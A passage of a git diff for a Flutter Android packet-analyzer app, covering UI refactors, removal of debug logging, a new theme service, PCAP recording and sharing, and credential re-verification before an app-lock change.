@@ class FileCarvingPanel extends StatelessWidget { return Container( padding: const EdgeInsets.all(16), decoration: BoxDecoration( - color: Colors.purple.withOpacity(0.05), + color: Colors.purple.withValues(alpha: 0.05), borderRadius: BorderRadius.circular(12), - border: Border.all(color: Colors.purple.withOpacity(0.3)), + border: Border.all(color: Colors.purple.withValues(alpha: 0.3)), ), child: Column( crossAxisAlignment: CrossAxisAlignment.start, @@ -1673,7 +1698,7 @@ class FileCarvingPanel extends StatelessWidget { decoration: BoxDecoration( color: Colors.white, borderRadius: BorderRadius.circular(6), - border: Border.all(color: Colors.purple.withOpacity(0.2)), + border: Border.all(color: Colors.purple.withValues(alpha: 0.2)), ), child: Row( children: [ @@ -1712,7 +1737,7 @@ class FileCarvingPanel extends StatelessWidget { decoration: BoxDecoration( color: Colors.white, borderRadius: BorderRadius.circular(6), - border: Border.all(color: Colors.green.withOpacity(0.2)), + border: Border.all(color: Colors.green.withValues(alpha: 0.2)), ), child: Row( children: [ @@ -1740,8 +1765,9 @@ class FileCarvingPanel extends StatelessWidget { if (mimeType.startsWith('video/')) return Icons.video_file; if (mimeType.startsWith('audio/')) return Icons.audio_file; if (mimeType == 'application/pdf') return Icons.picture_as_pdf; - if (mimeType.contains('zip') || mimeType.contains('rar')) + if (mimeType.contains('zip') || mimeType.contains('rar')) { return Icons.archive; + } if (mimeType.startsWith('text/')) return Icons.text_snippet; if (mimeType.contains('executable')) return Icons.computer; @@ -1755,8 +1781,9 @@ class FileCarvingPanel extends StatelessWidget { if (mimeType.startsWith('video/')) return Colors.purple; if (mimeType.startsWith('audio/')) return Colors.green; if (mimeType == 'application/pdf') return Colors.red; - if (mimeType.contains('zip') || mimeType.contains('rar')) + if (mimeType.contains('zip') || mimeType.contains('rar')) { return Colors.orange; + } if (mimeType.startsWith('text/')) return Colors.teal; if (mimeType.contains('executable')) return Colors.red; diff --git a/lib/main.dart b/lib/main.dart index 16b76e9..0615f85 100644 --- a/lib/main.dart +++ b/lib/main.dart @@ -5,13 +5,16 @@ import 'dart:async'; import 'dart:convert'; import 'package:fl_chart/fl_chart.dart'; import 'package:flutter/foundation.dart'; +import 'package:share_plus/share_plus.dart'; import 'auth/auth_service.dart'; import 'auth/auth_wrapper.dart'; import 'auth/login_screen.dart'; import 'auth/setup_auth_screen.dart'; +import 'auth/widgets/pattern_widget.dart'; import 'models.dart'; import 'enhanced_ui_components.dart'; import 'anomaly_dashboard.dart'; +import 'theme_service.dart'; // ================= CAPTURE MODE ENUM ================= enum CaptureMode { @@ -76,91 +79,14 @@ enum CaptureMode { } // ================= GLOBAL PACKET LISTENER ================= +// The one live MethodCallHandler for this channel is registered by +// _PacketAnalyzerScreenState.initState() (_onMethodCall) once the main screen +// mounts. MethodChannel only supports a single active handler at a time, so a +// second registration here would just be silently replaced by that one — +// this used to exist as such a handler (with its own duplicated, unguarded +// print()-per-packet logging) and was pure dead code in practice. const _channel = MethodChannel("packet_analyzer"); -void initPacketListener() { - print("🔧 Setting up packet listener..."); // Debug log - _channel.setMethodCallHandler((call) async { - print("📞 Flutter received method call: ${call.method}"); // Debug log - switch (call.method) { - case "onPacketReceived": - print("📥 onPacketReceived called"); // Debug log - PacketService._handleNativePacket( - Map.from(call.arguments), - ); - break; - case "onPacketEvent": - print( - "📥 onPacketEvent called with args: ${call.arguments}", - ); // Debug log - final eventData = Map.from(call.arguments); - final event = eventData['event'] as String?; - final data = eventData['data']; - - print("🎯 Processing event: $event"); // Debug log - switch (event) { - case "PACKET_CAPTURED": - print("📦 PACKET_CAPTURED event received!"); // Debug log - if (data is Map) { - PacketService._handleNativePacket(data); - } - break; - case "VPN_STARTED": - case "VPN_STOPPED": - case "LIBPCAP_STARTED": - case "LIBPCAP_STOPPED": - case "LIBPCAP_ERROR": - PacketService._statusController.add( - data?.toString() ?? event ?? "Unknown Event", - ); - break; - } - break; - case "onStatsUpdated": - final stats = call.arguments; - if (stats is String) { - try { - final parsed = jsonDecode(stats); - PacketService._handleNativeStats(parsed); - } catch (_) {} - } else { - PacketService._handleNativeStats(stats); - } - break; - case "onStatusChanged": - final status = call.arguments; - if (status is Map) { - PacketService._handleNativeStatus(status); - } else if (status is String) { - PacketService._handleNativeStatus({'status': status}); - } - break; - case "onSessionsUpdated": - PacketService._handleNativeSessions(call.arguments); - break; - case "onMetricsUpdated": - if (call.arguments is Map) { - PacketService._handleNativeMetrics( - Map.from(call.arguments), - ); - } - break; - case "onDashboardUpdate": - print("📊 Dashboard update received"); // Debug log - if (call.arguments is Map) { - PacketService._handleDashboardUpdate( - Map.from(call.arguments), - ); - } - break; - case "onAnomalyDetected": - print("🚨 Anomaly detected"); // Debug log - // Handle anomaly notifications - break; - } - }); -} - void main() { WidgetsFlutterBinding.ensureInitialized(); @@ -176,11 +102,13 @@ void main() { return true; }; - initPacketListener(); PacketService.initialize(); runApp( - ChangeNotifierProvider( - create: (context) => AuthenticationService(), + MultiProvider( + providers: [ + ChangeNotifierProvider(create: (context) => AuthenticationService()), + ChangeNotifierProvider(create: (context) => ThemeService()..initialize()), + ], child: const PacketAnalyzerApp(), ), ); @@ -405,96 +333,6 @@ class NativeBridge { return false; } } - - static Future exportData(Map data) async { - try { - final result = await platform.invokeMethod("exportData", data); - return result?.toString() ?? "Export failed"; - } catch (e) { - debugPrint("Error exporting data: $e"); - return "Error: ${e.toString()}"; - } - } - - static Future startRootCapture() async { - try { - final result = await platform.invokeMethod("startRootedCapture"); - return result == true; - } catch (e) { - debugPrint("Error starting root capture: $e"); - return false; - } - } - - static Future stopRootCapture() async { - try { - final result = await platform.invokeMethod("stopRootedCapture"); - return result == true; - } catch (e) { - debugPrint("Error stopping root capture: $e"); - return false; - } - } - - static Future startPcapCapture() async { - try { - final result = await platform.invokeMethod("startPcapCapture"); - return result == true; - } catch (e) { - debugPrint("Error starting PCAP capture: $e"); - return false; - } - } - - static Future stopPcapCapture() async { - try { - final result = await platform.invokeMethod("stopPcapCapture"); - return result == true; - } catch (e) { - debugPrint("Error stopping PCAP capture: $e"); - return false; - } - } -} - -class ProtocolStats { - final String protocol; - final int packetCount; - final double percentage; - - const ProtocolStats({ - required this.protocol, - required this.packetCount, - this.percentage = 0.0, - }); -} - -class NetworkMetrics { - final int totalPackets; - final double packetsPerSecond; - final int totalSessions; - final double dataRate; - - const NetworkMetrics({ - required this.totalPackets, - required this.packetsPerSecond, - this.totalSessions = 0, - this.dataRate = 0.0, - }); - - factory NetworkMetrics.fromMap(Map map) { - int toInt(dynamic v) => - (v is int) ? v : int.tryParse(v?.toString() ?? "0") ?? 0; - double toDouble(dynamic v) => - (v is double) ? v : double.tryParse(v?.toString() ?? "0") ?? 0; - - return NetworkMetrics( - totalPackets: toInt(map['totalPackets']), - packetsPerSecond: toDouble(map['packetsPerSecond']), - totalSessions: toInt(map['totalSessions']), - dataRate: toDouble(map['dataRate']), - ); - } } // ================= ENHANCED PACKET SERVICE WITH VPN CONTROLLER ================= @@ -536,38 +374,30 @@ class PacketService { .listen( (dynamic event) { try { - print("📡 Received packet from EventChannel: $event"); - Map packetData; // Handle different event types from native code if (event is String) { packetData = jsonDecode(event) as Map; - print("📦 Parsed JSON packet: $packetData"); } else if (event is Map) { packetData = event; } else if (event is Map) { // Handle Map from native Android packetData = Map.from(event); - print("📦 Converted native map packet: $packetData"); } else { - print("⚠️ Unknown event type: ${event.runtimeType}"); - print("⚠️ Raw event data: $event"); + debugPrint( + '⚠️ Unknown packet EventChannel event type: ${event.runtimeType}', + ); return; } - final packet = PacketInfo.fromMap(packetData); - print( - "✅ EventChannel PacketInfo: ${packet.protocol} ${packet.sourceIp}:${packet.sourcePort} → ${packet.destinationIp}:${packet.destinationPort}", - ); - _packetController.add(packet); + _packetController.add(PacketInfo.fromMap(packetData)); } catch (e) { - print("❌ Error processing EventChannel packet: $e"); - print("❌ Raw event: $event"); + debugPrint('❌ Error processing EventChannel packet: $e'); } }, onError: (error) { - print("❌ EventChannel error: $error"); + debugPrint('❌ EventChannel error: $error'); }, ); @@ -577,8 +407,6 @@ class PacketService { .listen( (dynamic event) { try { - print("🚨 Received anomaly from EventChannel: $event"); - Map anomalyData; // Handle different event types from native code @@ -589,22 +417,19 @@ class PacketService { } else if (event is Map) { anomalyData = Map.from(event); } else { - print("⚠️ Unknown anomaly event type: ${event.runtimeType}"); + debugPrint( + '⚠️ Unknown anomaly EventChannel event type: ${event.runtimeType}', + ); return; } - final anomaly = AnomalyInfo.fromMap(anomalyData); - print( - "🚨 Anomaly detected: ${anomaly.title} - ${anomaly.severity}", - ); - _anomalyController.add(anomaly); + _anomalyController.add(AnomalyInfo.fromMap(anomalyData)); } catch (e) { - print("❌ Error processing anomaly: $e"); - print("❌ Raw event: $event"); + debugPrint('❌ Error processing anomaly: $e'); } }, onError: (error) { - print("❌ Anomaly EventChannel error: $error"); + debugPrint('❌ Anomaly EventChannel error: $error'); }, ); } @@ -622,7 +447,6 @@ class PacketService { // Native handlers static void _handleNativePacket(Map map) { - print("🔥 Flutter received packet: $map"); // Debug log _buffer.add(map); } @@ -707,19 +531,12 @@ class PacketService { static void _flush() { if (_buffer.isEmpty) return; final batch = List>.from(_buffer); - print("🚀 Flutter flushing ${batch.length} packets to UI"); // Debug log _buffer.clear(); for (final m in batch) { try { - final packet = PacketInfo.fromMap(m); - print( - "✅ Created PacketInfo: ${packet.protocol} ${packet.sourceIp}:${packet.sourcePort} → ${packet.destinationIp}:${packet.destinationPort}", - ); - - _packetController.add(packet); + _packetController.add(PacketInfo.fromMap(m)); } catch (e) { - print("❌ Error creating PacketInfo from map: $e"); - print("❌ Problematic map: $m"); + debugPrint('❌ Error creating PacketInfo from map: $e'); } } } @@ -833,56 +650,73 @@ class PacketService { // ================= ENHANCED UI APP ================= class PacketAnalyzerApp extends StatelessWidget { - const PacketAnalyzerApp({Key? key}) : super(key: key); + const PacketAnalyzerApp({super.key}); + + static ElevatedButtonThemeData _elevatedButtonTheme() => ElevatedButtonThemeData( + style: ElevatedButton.styleFrom( + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(8)), + padding: const EdgeInsets.symmetric(horizontal: 20, vertical: 12), + ), + ); + + static const _cardTheme = CardThemeData( + elevation: 2, + margin: EdgeInsets.zero, + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.all(Radius.circular(12)), + ), + ); + + static const _appBarTheme = AppBarTheme( + centerTitle: false, + elevation: 0, + scrolledUnderElevation: 1, + ); @override Widget build(BuildContext context) { - return MaterialApp( - title: 'Andronet by CipherSec', - debugShowCheckedModeBanner: false, - theme: ThemeData( - useMaterial3: true, - colorScheme: - ColorScheme.fromSeed( - seedColor: const Color(0xFF1565C0), - brightness: Brightness.light, - ).copyWith( - surface: const Color(0xFFFAFBFC), - surfaceContainerHighest: const Color(0xFFF1F3F4), - ), - cardTheme: const CardThemeData( - elevation: 2, - margin: EdgeInsets.zero, - shape: RoundedRectangleBorder( - borderRadius: BorderRadius.all(Radius.circular(12)), - ), - ), - appBarTheme: const AppBarTheme( - centerTitle: false, - elevation: 0, - scrolledUnderElevation: 1, + return Consumer( + builder: (context, themeService, _) => MaterialApp( + title: 'Andronet by CipherSec', + debugShowCheckedModeBanner: false, + themeMode: themeService.themeMode, + theme: ThemeData( + useMaterial3: true, + colorScheme: + ColorScheme.fromSeed( + seedColor: const Color(0xFF1565C0), + brightness: Brightness.light, + ).copyWith( + surface: const Color(0xFFFAFBFC), + surfaceContainerHighest: const Color(0xFFF1F3F4), + ), + cardTheme: _cardTheme, + appBarTheme: _appBarTheme, + elevatedButtonTheme: _elevatedButtonTheme(), ), - elevatedButtonTheme: ElevatedButtonThemeData( - style: ElevatedButton.styleFrom( - shape: RoundedRectangleBorder( - borderRadius: BorderRadius.circular(8), - ), - padding: const EdgeInsets.symmetric(horizontal: 20, vertical: 12), + darkTheme: ThemeData( + useMaterial3: true, + colorScheme: ColorScheme.fromSeed( + seedColor: const Color(0xFF1565C0), + brightness: Brightness.dark, ), + cardTheme: _cardTheme, + appBarTheme: _appBarTheme, + elevatedButtonTheme: _elevatedButtonTheme(), ), + home: const AuthWrapper(), + routes: { + '/setup-auth': (context) => const SetupAuthScreen(), + '/login': (context) => const LoginScreen(), + '/main': (context) => const PacketAnalyzerScreen(), + }, ), - home: const AuthWrapper(), - routes: { - '/setup-auth': (context) => const SetupAuthScreen(), - '/login': (context) => const LoginScreen(), - '/main': (context) => const PacketAnalyzerScreen(), - }, ); } } class PacketAnalyzerScreen extends StatefulWidget { - const PacketAnalyzerScreen({Key? key}) : super(key: key); + const PacketAnalyzerScreen({super.key}); @override State createState() => _PacketAnalyzerScreenState(); @@ -904,6 +738,7 @@ class _PacketAnalyzerScreenState extends State NetworkMetrics? _metrics; String _selectedProtocolFilter = "ALL"; bool _autoScroll = true; + bool _anomalyNotificationsEnabled = true; // COMMIT 11: calibration state for the 60-second adaptive learning period bool _isCalibrating = false; @@ -932,9 +767,13 @@ class _PacketAnalyzerScreenState extends State late AnimationController _pulseController; late Animation _pulseAnimation; + // PCAP recording (independent of capture) + bool _isPcapRecording = false; + String _lastPcapPath = ''; // persists after recording stops so share always works + // Performance optimization Timer? _debounceTimer; - static const int _maxPackets = 1500; + int _maxPackets = 1500; @override void initState() { @@ -1055,6 +894,9 @@ class _PacketAnalyzerScreenState extends State void _handleAnomaly(Map data) { if (!mounted) return; + // "Anomaly notifications" setting only gates this popup — anomaly data + // itself is always recorded via _anomalySub above, never suppressed. + if (!_anomalyNotificationsEnabled) return; // COMMIT 5: suppress repeated SnackBar for same type+sourceIp within 45 s; // the packet's anomalyScore is set before this call so data is never lost @@ -1350,6 +1192,8 @@ class _PacketAnalyzerScreenState extends State Future _stopCapture() async { if (_isCaptureStarting) return; + // Stop PCAP recording first so the file is finalized cleanly + if (_isPcapRecording) await _stopPcapRecording(); // COMMIT 11: cancel calibration immediately when capture stops _calibrationTimer?.cancel(); setState(() { @@ -1400,6 +1244,68 @@ class _PacketAnalyzerScreenState extends State } } + // ── PCAP recording (independent of packet capture) ─────────────────────── + + Future _startPcapRecording() async { + if (_isPcapRecording) return; + if (!_isCapturing) { + _showSnackBar( + 'Start packet capture first, then record', + Colors.orange, + Icons.warning_amber, + ); + return; + } + try { + final result = await _channel.invokeMethod('startPcapExport'); + if (result != null) { + setState(() => _isPcapRecording = true); + _showSnackBar('PCAP recording started', Colors.green, Icons.fiber_manual_record); + } + } catch (e) { + _showSnackBar('Failed to start PCAP: $e', Colors.red, Icons.error); + } + } + + Future _stopPcapRecording() async { + if (!_isPcapRecording) return; + try { + // Capture path BEFORE nativeClose clears it + final path = await _channel.invokeMethod('getCurrentPcapPath') ?? ''; + await _channel.invokeMethod('stopPcapExport'); + setState(() { + _isPcapRecording = false; + if (path.isNotEmpty) _lastPcapPath = path; + }); + _showSnackBar('PCAP saved', Colors.green, Icons.check_circle); + } catch (e) { + setState(() => _isPcapRecording = false); + } + } + + + Future _sharePcapFile() async { + // If actively recording, stop first so the file is complete + if (_isPcapRecording) await _stopPcapRecording(); + + final path = _lastPcapPath; + if (path.isEmpty) { + _showSnackBar( + 'No PCAP file yet — press the record button first', + Colors.orange, + Icons.warning_amber, + ); + return; + } + try { + await SharePlus.instance.share( + ShareParams(files: [XFile(path)], subject: 'AndroNet capture'), + ); + } catch (e) { + _showSnackBar('Share failed: $e', Colors.red, Icons.error); + } + } + Future _toggleCapture() async { if (_isCapturing) { await _stopCapture(); @@ -1656,6 +1562,25 @@ class _PacketAnalyzerScreenState extends State tooltip: 'View Anomalies', ), + // PCAP record button — independent of packet capture toggle + if (_isCapturing) + IconButton( + icon: Icon( + _isPcapRecording ? Icons.stop_circle : Icons.fiber_manual_record, + color: _isPcapRecording ? Colors.red : Colors.red.shade300, + ), + onPressed: _isPcapRecording ? _stopPcapRecording : _startPcapRecording, + tooltip: _isPcapRecording ? 'Stop PCAP recording' : 'Start PCAP recording', + ), + + // Share button — visible once a file exists + if (_lastPcapPath.isNotEmpty || _isPcapRecording) + IconButton( + icon: const Icon(Icons.share), + onPressed: _sharePcapFile, + tooltip: 'Share PCAP file', + ), + // Debug test anomaly button if (kDebugMode) IconButton( @@ -3116,7 +3041,7 @@ class _PacketAnalyzerScreenState extends State children: [ _buildStatCard( 'Packets/sec', - '${(_metrics?.packetsPerSecond ?? 0).toStringAsFixed(1)}', + (_metrics?.packetsPerSecond ?? 0).toStringAsFixed(1), Colors.cyan, ), const SizedBox(width: 12), @@ -3839,6 +3764,31 @@ class _PacketAnalyzerScreenState extends State _buildSecurityOption('Rule Engine', true), _buildSecurityOption('Traffic Analysis', true), _buildSecurityOption('Protocol Inspection', true), + const Divider(height: 24), + const Text('App Lock:'), + const SizedBox(height: 8), + ListTile( + contentPadding: EdgeInsets.zero, + leading: const Icon(Icons.timer_outlined), + title: const Text('Auto-lock after'), + subtitle: Consumer( + builder: (context, authService, _) => + Text('${authService.autoLockTime} minutes — tap to change'), + ), + onTap: () { + Navigator.pop(context); + _showAutoLockPicker(); + }, + ), + ListTile( + contentPadding: EdgeInsets.zero, + leading: const Icon(Icons.password), + title: const Text('Change PIN / Password / Pattern'), + onTap: () { + Navigator.pop(context); + _startChangeCredentialFlow(); + }, + ), ], ), actions: [ @@ -3851,6 +3801,138 @@ class _PacketAnalyzerScreenState extends State ); } + static const List _autoLockOptions = [1, 5, 15, 30, 60]; + + void _showAutoLockPicker() { + final authService = Provider.of(context, listen: false); + showDialog( + context: context, + builder: (pickerContext) => SimpleDialog( + title: const Text('Auto-lock after'), + children: [ + RadioGroup( + groupValue: authService.autoLockTime, + onChanged: (value) => Navigator.pop(pickerContext, value), + child: Column( + mainAxisSize: MainAxisSize.min, + children: _autoLockOptions + .map( + (option) => RadioListTile( + title: Text('$option minute${option == 1 ? '' : 's'}'), + value: option, + ), + ) + .toList(), + ), + ), + ], + ), + ).then((chosen) { + if (chosen != null) authService.setAutoLockTime(chosen); + }); + } + + /// Re-verifies the user's current credential before letting them set a new + /// one — SetupAuthScreen alone would let anyone with the app already + /// unlocked silently overwrite the stored credential with no proof they + /// know the existing one. + Future _startChangeCredentialFlow() async { + final authService = Provider.of(context, listen: false); + final method = authService.currentAuthMethod; + + if (method == AuthMethod.none) { + Navigator.pushNamed(context, '/setup-auth'); + return; + } + + final verified = await _promptCurrentCredential(authService, method); + if (verified && mounted) { + Navigator.pushNamed(context, '/setup-auth'); + } + } + + Future _promptCurrentCredential( + AuthenticationService authService, + AuthMethod method, + ) async { + if (method == AuthMethod.pattern) { + return _promptCurrentPattern(authService); + } + + final controller = TextEditingController(); + final isPin = method == AuthMethod.pin; + final result = await showDialog( + context: context, + builder: (dialogContext) => AlertDialog( + title: Text('Confirm current ${isPin ? 'PIN' : 'password'}'), + content: TextField( + controller: controller, + autofocus: true, + obscureText: true, + keyboardType: isPin ? TextInputType.number : TextInputType.text, + decoration: InputDecoration(hintText: isPin ? 'Current PIN' : 'Current password'), + onSubmitted: (_) => Navigator.pop(dialogContext, true), + ), + actions: [ + TextButton( + onPressed: () => Navigator.pop(dialogContext, false), + child: const Text('Cancel'), + ), + ElevatedButton( + onPressed: () => Navigator.pop(dialogContext, true), + child: const Text('Confirm'), + ), + ], + ), + ); + + if (result != true) return false; + + final verified = isPin + ? await authService.authenticateWithPin(controller.text) + : await authService.authenticateWithPassword(controller.text); + + if (!verified && mounted) { + _showSnackBar('Incorrect credential', Colors.red, Icons.error); + } + return verified; + } + + Future _promptCurrentPattern(AuthenticationService authService) async { + List pattern = []; + final result = await showDialog( + context: context, + builder: (dialogContext) => StatefulBuilder( + builder: (dialogContext, setDialogState) => AlertDialog( + title: const Text('Confirm current pattern'), + content: SizedBox( + width: 260, + height: 260, + child: PatternWidget( + selectedPattern: pattern, + onPatternChanged: (p) => setDialogState(() => pattern = p), + onPatternComplete: () => Navigator.pop(dialogContext, true), + ), + ), + actions: [ + TextButton( + onPressed: () => Navigator.pop(dialogContext, false), + child: const Text('Cancel'), + ), + ], + ), + ), + ); + + if (result != true || pattern.length < 4) return false; + + final verified = await authService.authenticateWithPattern(pattern); + if (!verified && mounted) { + _showSnackBar('Incorrect pattern', Colors.red, Icons.error); + } + return verified; + } + Widget _buildSecurityOption(String title, bool enabled) { return Padding( padding: const EdgeInsets.symmetric(vertical: 4), @@ -3868,67 +3950,139 @@ class _PacketAnalyzerScreenState extends State ); } + static const List _maxPacketsOptions = [500, 1000, 1500, 3000, 5000]; + void _showSettingsDialog() { showDialog( context: context, - builder: (context) => AlertDialog( - title: const Row( - children: [ - Icon(Icons.settings, color: Colors.blue), - SizedBox(width: 8), - Text('Settings'), - ], - ), - content: Column( - mainAxisSize: MainAxisSize.min, - crossAxisAlignment: CrossAxisAlignment.start, - children: [ - ListTile( - title: const Text('Auto-scroll packets'), - trailing: Switch( - value: _autoScroll, - onChanged: (value) { - setState(() => _autoScroll = value); - Navigator.pop(context); + builder: (dialogContext) => StatefulBuilder( + builder: (dialogContext, setDialogState) => AlertDialog( + title: const Row( + children: [ + Icon(Icons.settings, color: Colors.blue), + SizedBox(width: 8), + Text('Settings'), + ], + ), + content: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + ListTile( + title: const Text('Theme'), + subtitle: Consumer( + builder: (context, themeService, _) => Text(switch (themeService.themeMode) { + ThemeMode.light => 'Light — tap to change', + ThemeMode.dark => 'Dark — tap to change', + ThemeMode.system => 'Follow system — tap to change', + }), + ), + trailing: const Icon(Icons.chevron_right), + contentPadding: EdgeInsets.zero, + onTap: () async { + final themeService = Provider.of(context, listen: false); + final chosen = await showDialog( + context: dialogContext, + builder: (pickerContext) => SimpleDialog( + title: const Text('Theme'), + children: [ + RadioGroup( + groupValue: themeService.themeMode, + onChanged: (value) => Navigator.pop(pickerContext, value), + child: const Column( + mainAxisSize: MainAxisSize.min, + children: [ + RadioListTile(title: Text('Follow system'), value: ThemeMode.system), + RadioListTile(title: Text('Light'), value: ThemeMode.light), + RadioListTile(title: Text('Dark'), value: ThemeMode.dark), + ], + ), + ), + ], + ), + ); + if (chosen != null) themeService.setThemeMode(chosen); }, ), - contentPadding: EdgeInsets.zero, - ), - ListTile( - title: const Text('Max packets limit'), - subtitle: Text('$_maxPackets packets'), - trailing: const Icon(Icons.info_outline), - contentPadding: EdgeInsets.zero, - ), - ListTile( - title: const Text('Anomaly notifications'), - trailing: Switch( - value: true, - onChanged: (value) { - Navigator.pop(context); + ListTile( + title: const Text('Auto-scroll packets'), + trailing: Switch( + value: _autoScroll, + onChanged: (value) { + setDialogState(() => _autoScroll = value); + setState(() {}); + }, + ), + contentPadding: EdgeInsets.zero, + ), + ListTile( + title: const Text('Max packets limit'), + subtitle: Text('$_maxPackets packets — tap to change'), + trailing: const Icon(Icons.chevron_right), + contentPadding: EdgeInsets.zero, + onTap: () async { + final chosen = await showDialog( + context: dialogContext, + builder: (pickerContext) => SimpleDialog( + title: const Text('Max packets limit'), + children: [ + RadioGroup( + groupValue: _maxPackets, + onChanged: (value) => + Navigator.pop(pickerContext, value), + child: Column( + mainAxisSize: MainAxisSize.min, + children: _maxPacketsOptions + .map( + (option) => RadioListTile( + title: Text('$option packets'), + value: option, + ), + ) + .toList(), + ), + ), + ], + ), + ); + if (chosen != null) { + setDialogState(() => _maxPackets = chosen); + setState(() {}); + } }, ), - contentPadding: EdgeInsets.zero, - ), - // COMMIT 13: adaptive threshold debug panel - ListTile( - title: const Text('Adaptive Thresholds'), - subtitle: const Text('View current detection baselines'), - trailing: const Icon(Icons.chevron_right), - contentPadding: EdgeInsets.zero, - onTap: () { - Navigator.pop(context); - _showAdaptiveThresholdsPanel(); - }, + ListTile( + title: const Text('Anomaly notifications'), + subtitle: const Text('Show a popup when a new anomaly fires'), + trailing: Switch( + value: _anomalyNotificationsEnabled, + onChanged: (value) { + setDialogState(() => _anomalyNotificationsEnabled = value); + setState(() {}); + }, + ), + contentPadding: EdgeInsets.zero, + ), + // COMMIT 13: adaptive threshold debug panel + ListTile( + title: const Text('Adaptive Thresholds'), + subtitle: const Text('View current detection baselines'), + trailing: const Icon(Icons.chevron_right), + contentPadding: EdgeInsets.zero, + onTap: () { + Navigator.pop(dialogContext); + _showAdaptiveThresholdsPanel(); + }, + ), + ], + ), + actions: [ + TextButton( + onPressed: () => Navigator.pop(dialogContext), + child: const Text('Close'), ), ], ), - actions: [ - TextButton( - onPressed: () => Navigator.pop(context), - child: const Text('Close'), - ), - ], ), ); } diff --git a/lib/models.dart b/lib/models.dart index c5ce266..2f9f3cb 100644 --- a/lib/models.dart +++ b/lib/models.dart @@ -3,10 +3,28 @@ import 'dart:math' as math; // ================= DATA MODELS ================= +/// Safely coerces a native-bridge value to an int. Values may arrive as +/// int, double, or String depending on the platform-channel path — `as +/// num?` throws (rather than returning null) for a non-null non-num value +/// like a String, which used to skip the int.tryParse fallback entirely. +int _asInt(dynamic v) { + if (v is num) return v.toInt(); + return int.tryParse(v?.toString() ?? '') ?? 0; +} + +/// As [_asInt], but returns null (rather than 0) when [v] is absent/unparsable +/// — used for optional numeric fields where "unknown" and "zero" mean +/// different things (e.g. anomalyScore). +double? _asDoubleOrNull(dynamic v) { + if (v == null) return null; + if (v is num) return v.toDouble(); + return double.tryParse(v.toString()); +} + class PacketInfo { final String sourceIp, destinationIp, protocol, timestamp, payload; final int sourcePort, destinationPort, size; - final String? direction, flags, appName; + final String? direction, flags, appName, owningApp; final Map? dpiData; final Map? payloadAnalysis; final double? anomalyScore; @@ -31,6 +49,7 @@ class PacketInfo { this.direction, this.flags, this.appName, + this.owningApp, this.dpiData, this.payloadAnalysis, this.anomalyScore, @@ -89,16 +108,10 @@ class PacketInfo { map['destinationIp']?.toString() ?? map['destinationAddress']?.toString() ?? '0.0.0.0', - sourcePort: (map['sourcePort'] as num?)?.toInt() ?? - int.tryParse(map['sourcePort']?.toString() ?? '') ?? - 0, - destinationPort: (map['destinationPort'] as num?)?.toInt() ?? - int.tryParse(map['destinationPort']?.toString() ?? '') ?? - 0, + sourcePort: _asInt(map['sourcePort']), + destinationPort: _asInt(map['destinationPort']), protocol: map['protocol']?.toString() ?? 'UNK', - size: (map['size'] as num?)?.toInt() ?? - int.tryParse(map['size']?.toString() ?? '') ?? - 0, + size: _asInt(map['size']), timestamp: map['timestamp']?.toString() ?? DateTime.now().millisecondsSinceEpoch.toString(), @@ -106,14 +119,19 @@ class PacketInfo { direction: map['direction']?.toString(), flags: map['flags']?.toString(), appName: map['appName']?.toString(), + // Native side sends "" (not null) when the owning app couldn't be + // resolved — normalize to null so the UI can just check for presence. + owningApp: (map['owningApp']?.toString().isNotEmpty ?? false) + ? map['owningApp'].toString() + : null, dpiData: dpiFields.isNotEmpty ? dpiFields : null, payloadAnalysis: safeMap(map['payloadAnalysis']), httpData: safeMap(map['httpData']), dnsData: safeMap(map['dnsData']), tlsData: safeMap(map['tlsData']), quicData: safeMap(map['quicData']), - anomalyScore: (map['anomalyScore'] as num?)?.toDouble(), - entropyScore: (map['entropyScore'] as num?)?.toDouble(), + anomalyScore: _asDoubleOrNull(map['anomalyScore']), + entropyScore: _asDoubleOrNull(map['entropyScore']), domain: map['domain']?.toString(), domainFriendly: map['domainFriendly']?.toString(), sourceDomain: map['sourceDomain']?.toString(), diff --git a/lib/theme_service.dart b/lib/theme_service.dart new file mode 100644 index 0000000..51362d0 --- /dev/null +++ b/lib/theme_service.dart @@ -0,0 +1,28 @@ +import 'package:flutter/material.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +/// Persists the user's light/dark/system theme choice across launches. +class ThemeService extends ChangeNotifier { + static const _themeModeKey = 'theme_mode'; + + ThemeMode _themeMode = ThemeMode.system; + ThemeMode get themeMode => _themeMode; + + Future initialize() async { + final prefs = await SharedPreferences.getInstance(); + final saved = prefs.getString(_themeModeKey); + _themeMode = switch (saved) { + 'light' => ThemeMode.light, + 'dark' => ThemeMode.dark, + _ => ThemeMode.system, + }; + notifyListeners(); + } + + Future setThemeMode(ThemeMode mode) async { + _themeMode = mode; + notifyListeners(); + final prefs = await SharedPreferences.getInstance(); + await prefs.setString(_themeModeKey, mode.name); + } +} diff --git a/linux/flutter/generated_plugin_registrant.cc b/linux/flutter/generated_plugin_registrant.cc index d0e7f79..38dd0bc 100644 --- a/linux/flutter/generated_plugin_registrant.cc +++ b/linux/flutter/generated_plugin_registrant.cc @@ -7,9 +7,13 @@ #include "generated_plugin_registrant.h" #include +#include void fl_register_plugins(FlPluginRegistry* registry) { g_autoptr(FlPluginRegistrar) flutter_secure_storage_linux_registrar = fl_plugin_registry_get_registrar_for_plugin(registry, "FlutterSecureStorageLinuxPlugin"); flutter_secure_storage_linux_plugin_register_with_registrar(flutter_secure_storage_linux_registrar); + g_autoptr(FlPluginRegistrar) url_launcher_linux_registrar = + fl_plugin_registry_get_registrar_for_plugin(registry, "UrlLauncherPlugin"); + url_launcher_plugin_register_with_registrar(url_launcher_linux_registrar); } diff --git a/linux/flutter/generated_plugins.cmake b/linux/flutter/generated_plugins.cmake index ce58916..7e7bd77 100644 --- a/linux/flutter/generated_plugins.cmake +++ b/linux/flutter/generated_plugins.cmake @@ -4,6 +4,7 @@ list(APPEND FLUTTER_PLUGIN_LIST flutter_secure_storage_linux + url_launcher_linux ) list(APPEND FLUTTER_FFI_PLUGIN_LIST diff --git a/macos/Flutter/GeneratedPluginRegistrant.swift b/macos/Flutter/GeneratedPluginRegistrant.swift index df835dc..3ea8819 100644 --- a/macos/Flutter/GeneratedPluginRegistrant.swift +++ b/macos/Flutter/GeneratedPluginRegistrant.swift @@ -5,14 +5,16 @@ import FlutterMacOS import Foundation -import flutter_secure_storage_macos +import flutter_secure_storage_darwin import local_auth_darwin +import share_plus import shared_preferences_foundation import sqflite_darwin func 